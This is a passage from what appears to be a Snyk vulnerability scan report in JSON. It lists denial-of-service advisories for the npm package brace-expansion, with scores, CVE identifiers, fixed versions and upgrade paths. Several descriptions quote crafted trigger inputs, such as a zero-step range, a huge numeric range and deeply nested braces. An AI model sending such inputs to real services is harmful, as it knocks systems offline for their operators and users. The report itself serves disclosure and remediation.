"https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": 